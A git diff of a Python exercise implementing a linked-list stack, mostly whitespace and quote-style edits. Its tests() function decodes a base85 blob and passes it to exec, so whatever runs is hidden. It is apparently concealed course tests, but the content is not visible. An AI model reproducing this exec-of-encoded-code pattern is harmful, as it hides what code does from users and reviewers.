diff --git a/mod_oop/3.9_10_stack_iter.py b/mod_oop/3.9_10_stack_iter.py index e44cb01..af96b6d 100644 --- a/mod_oop/3.9_10_stack_iter.py +++ b/mod_oop/3.9_10_stack_iter.py @@ -54,12 +54,12 @@ class StackObj: @data.setter def data(self, value): self.__data = value - + def __eq__(self, other): if hasattr(other, "data"): return self.data == other.data return self.data == other - + def __ne__(self, other): return not self == other @@ -71,7 +71,7 @@ class StackObj: def next(self, value): if isinstance(value, (self.__class__, None.__class__)): self.__next = value - + @classmethod def wrap(cls, value): return value if isinstance(value, cls) else cls(value) @@ -87,7 +87,7 @@ class Stack: def __init__(self, data=None): self.top = None self.load(data or []) - + def __iter__(self): obj = self.top while obj: @@ -106,12 +106,12 @@ class Stack: self.top = obj else: self.bottom.next = obj - + def push_front(self, value): obj = StackObj.wrap(value) obj.next = self.top self.top = obj - + def pop(self) -> StackObj: if not self.top: return None @@ -123,14 +123,14 @@ class Stack: if b == self.top: self.top = None return b - + def load(self, data): for x in data: self.push_back(x) def __len__(self): return sum(1 for _ in self) - + def validate_index(self, idx: int): if not isinstance(idx, int) or not 0 <= idx < len(self): raise IndexError("неверный индекс") @@ -143,18 +143,18 @@ class Stack: def __setitem__(self, idx: int, value): self.validate_index(idx) - + if idx == len(self): self.push(value) return - + prev = self.top for i, v in enumerate(self): prev = v if idx == i: old = v break - + value = StackObj.wrap(value) value.next = old.next if idx > 0: @@ -167,29 +167,29 @@ class Stack: def __str__(self): return " -> ".join(map(str, self.get_data())) - + def __repr__(self): return f"{self.__class__.__name__}({self.get_data()!r})" def tests(): code = ( - b'b95j*AX9WHbXzf9AU!=GA~7N?AR^Gc(6!LA(6!Nk' - + b'(7n-%(6u1Yx6r-Nu+fLmwa~rLxY3Uw(6rF7(7n*T(TmZAAketbw;<5I(6P~q(6!LI(Sp#v(6S)Wf' - + b'zg7{wa~iIuq+_ZztMouxFFEJ(6P~g(6G^o(6!LL(74dJAkexX(7n*O(7YhfztFxQ(74dO(6rFC(7' - + b'Mrq(Ssri3UhQ@FkK)$AR;g#3So0|WpZ>Nb97rUT_8O@AR;g#EFdD#ztFzWyU~NuhtRdqz0kfO(7n' - + b'*L(6Z3A(SXps(7w>MAkeqaz0k1HhtRdqz0kPOwII;A(6=DazRO(7e#T(6-RM(7r4n(7n*L(7MpR(SXr_(6!LI(Sp#u(7qtifY7kevCzKJg3z$gwb6ng' - + b'(7(}u(74fo(6Z35(74dD(6G?G(74dGAke+gzRWq4y{aC9I^Ze(S6MRIa)' - + b'aykkiARr)Nb8}^KbRbl6b!7@=Y;$Eg3LqdLAYpTJWpZ>NMqzAoWh@{f(7n*LAkl%)v(UBBz0kGMf' - + b'Y7+nfY83sve2;5yU@PTfzga0(74fo(7MpO(T>rF(6!LL(74dGAW3dyWq3t$a&K}X' + b"b95j*AX9WHbXzf9AU!=GA~7N?AR^Gc(6!LA(6!Nk" + + b"(7n-%(6u1Yx6r-Nu+fLmwa~rLxY3Uw(6rF7(7n*T(TmZAAketbw;<5I(6P~q(6!LI(Sp#v(6S)Wf" + + b"zg7{wa~iIuq+_ZztMouxFFEJ(6P~g(6G^o(6!LL(74dJAkexX(7n*O(7YhfztFxQ(74dO(6rFC(7" + + b"Mrq(Ssri3UhQ@FkK)$AR;g#3So0|WpZ>Nb97rUT_8O@AR;g#EFdD#ztFzWyU~NuhtRdqz0kfO(7n" + + b"*L(6Z3A(SXps(7w>MAkeqaz0k1HhtRdqz0kPOwII;A(6=DazRO(7e#T(6-RM(7r4n(7n*L(7MpR(SXr_(6!LI(Sp#u(7qtifY7kevCzKJg3z$gwb6ng" + + b"(7(}u(74fo(6Z35(74dD(6G?G(74dGAke+gzRWq4y{aC9I^Ze(S6MRIa)" + + b"aykkiARr)Nb8}^KbRbl6b!7@=Y;$Eg3LqdLAYpTJWpZ>NMqzAoWh@{f(7n*LAkl%)v(UBBz0kGMf" + + b"Y7+nfY83sve2;5yU@PTfzga0(74fo(7MpO(T>rF(6!LL(74dGAW3dyWq3t$a&K}X" ) - exec(__import__('base64').b85decode(code)) + exec(__import__("base64").b85decode(code)) if __name__ == "__main__":